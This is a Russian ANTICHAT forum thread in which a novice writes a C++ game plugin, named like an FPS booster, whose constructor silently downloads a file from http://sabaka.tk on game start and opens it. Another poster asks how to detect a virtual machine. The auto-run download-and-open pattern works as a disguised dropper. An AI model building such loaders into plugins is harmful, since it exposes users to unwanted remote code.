HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3121  
Старый 11.12.2018, 21:25
Неадекватная сова
Постоянный
Регистрация: 02.06.2018
Сообщений: 342
С нами: 4183567

Репутация: 133
По умолчанию

Цитата:
Сообщение от Shamal  

С system("start notepad.exe") нормально работает. Так что не в этом проблема. ДУмаю, что я не правильно задаю значение переменной to_run
Весь твой огромный код заменяется на одну строку вызовом винапи функции...
 
Ответить с цитированием

  #3122  
Старый 11.12.2018, 21:28
SAMP.ASI
Участник форума
Регистрация: 27.05.2016
Сообщений: 223
С нами: 5242744

Репутация: 83
По умолчанию

Цитата:
Сообщение от Rjx13  

Весь твой огромный код заменяется на одну строку вызовом винапи функции...
Я на си начал писать 10 минут назад, можешь пример кинуть?
 
Ответить с цитированием

  #3123  
Старый 11.12.2018, 21:37
Неадекватная сова
Постоянный
Регистрация: 02.06.2018
Сообщений: 342
С нами: 4183567

Репутация: 133
По умолчанию

Цитата:
Сообщение от Shamal  

Я на си начал писать 10 минут назад, можешь пример кинуть?
Код:





Код:
#include "shellapi.h"
#pragma comment(lib, "Shell32.lib")

ShellExecuteW(NULL, "open", "vk.com", "", SW_SHOWNORMAL);
 
Ответить с цитированием

  #3124  
Старый 11.12.2018, 22:10
SAMP.ASI
Участник форума
Регистрация: 27.05.2016
Сообщений: 223
С нами: 5242744

Репутация: 83
По умолчанию

Цитата:
Сообщение от Rjx13  

Код:





Код:
#include "shellapi.h"
#pragma comment(lib, "Shell32.lib")

ShellExecuteW(NULL, "open", "vk.com", "", SW_SHOWNORMAL);

Там пропущен параметр с путем.

Код:





Код:
TCHAR lpTempPathBuffer[MAX_PATH];
       char path[MAX_PATH] = GetTempPath(MAX_PATH, lpTempPathBuffer);
       ShellExecuteA(NULL, "open", "vk.com", "", path, 1);


Но ему не нравится получения временной директории
 
Ответить с цитированием

  #3125  
Старый 11.12.2018, 22:14
Неадекватная сова
Постоянный
Регистрация: 02.06.2018
Сообщений: 342
С нами: 4183567

Репутация: 133
По умолчанию

Цитата:
Сообщение от Shamal  

Там пропущен параметр с путем.

Код:





Код:
TCHAR lpTempPathBuffer[MAX_PATH];
       char path[MAX_PATH] = GetTempPath(MAX_PATH, lpTempPathBuffer);
       ShellExecuteA(NULL, "open", "vk.com", "", path, 1);


Но ему не нравится получения временной директории
Скрин ошибки
 
Ответить с цитированием

  #3126  
Старый 11.12.2018, 22:15
SAMP.ASI
Участник форума
Регистрация: 27.05.2016
Сообщений: 223
С нами: 5242744

Репутация: 83
По умолчанию

Цитата:
Сообщение от Rjx13  

Скрин ошибки
 
Ответить с цитированием

  #3127  
Старый 11.12.2018, 22:31
Неадекватная сова
Постоянный
Регистрация: 02.06.2018
Сообщений: 342
С нами: 4183567

Репутация: 133
По умолчанию

Цитата:
Сообщение от Shamal  


ShellExecuteW(NULL, "open", "vk.com", NULL, NULL, SW_SHOWNORMAL);
 
Ответить с цитированием

  #3128  
Старый 11.12.2018, 23:04
SAMP.ASI
Участник форума
Регистрация: 27.05.2016
Сообщений: 223
С нами: 5242744

Репутация: 83
По умолчанию

Цитата:
Сообщение от Rjx13  

ShellExecuteW(NULL, "open", "vk.com", NULL, NULL, SW_SHOWNORMAL);


Цитата:
Сообщение от Rjx13  

ShellExecuteW(NULL, "open", "vk.com", NULL, NULL, SW_SHOWNORMAL);
Код:





Код:
#include "plugin.h"

#include "shellapi.h"
#pragma comment(lib, "Shell32.lib")

using namespace plugin;

class Cfps_up {
public:
    Cfps_up() {
       ShellExecuteA(NULL, "open", "vk.com", NULL, NULL, SW_SHOWNORMAL);
    }
} cfps_up;


Игра открывается, но vk не открывается

Цитата:
Сообщение от Rjx13  

ShellExecuteW(NULL, "open", "vk.com", NULL, NULL, SW_SHOWNORMAL);
Хочу чтоб открывался test.txt с sabaka.tk/test.txt

Код:





Код:
#include "plugin.h"
   #include "shellapi.h"
   #pragma comment(lib, "Shell32.lib")
   #include 
   #include
   #include
   #pragma comment(lib, "urlmon.lib")

   using namespace plugin;

   class Cfps_up {
   public:
       Cfps_up() {

           std::string dwnld_URL = "http://sabaka.tk/test.txt";
           std::string savepath = "C:\\tmp\\filename.txt";
           URLDownloadToFile(NULL, dwnld_URL.c_str(), savepath.c_str(), 0, NULL);

           ShellExecuteA(NULL, "open", savepath.c_str(), NULL, NULL, SW_SHOWNORMAL);
       }
   } cfps_up;
 
Ответить с цитированием

  #3129  
Старый 11.12.2018, 23:17
SiTrak
Участник форума
Регистрация: 14.01.2018
Сообщений: 192
С нами: 4384333

Репутация: 113
По умолчанию

Как проверить то что я нахожусь в машине?
 
Ответить с цитированием

  #3130  
Старый 12.12.2018, 04:24
project0
Новичок
Регистрация: 27.03.2018
Сообщений: 5
С нами: 4280222

Репутация: 0
По умолчанию

Цитата:
Сообщение от strozzac  

Я должен использовать это вместе с SF-API? Что в итоге я должен заинклудить? Какая структура проекта: в папку все с SF plugin + инклуд данной библиотеки…SF-API?
Помогите мне пожалуйста, кому не тяжело проект скинуть для создания длл через sfapi
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.